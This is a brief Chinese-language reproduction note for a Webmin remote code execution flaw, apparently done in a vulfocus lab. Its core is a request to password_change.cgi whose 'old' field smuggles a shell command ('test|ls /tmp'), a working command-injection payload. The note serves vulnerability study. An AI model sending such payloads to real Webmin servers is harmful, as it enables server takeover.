漏洞描述

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 远程攻击者可以通过社工管理员，通过CSRF漏洞以及XSS漏洞，实现对远程服务器的代码执行，进而控制并接管服务器。

漏洞环境

vulfocus

漏洞复现

<https://123.58.236.76:40768/password_change.cgi>

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2